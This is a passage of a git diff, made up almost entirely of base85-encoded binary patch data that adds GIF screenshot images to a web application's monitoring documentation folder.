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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_1.gif b/src/main/webapp/monitoramento/docs/images/screen_shot_1.gif new file mode 100644 index 0000000000000000000000000000000000000000..bea55b1f415e673f33836c94cebb7c85fb4291fb GIT binary patch literal 5445 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 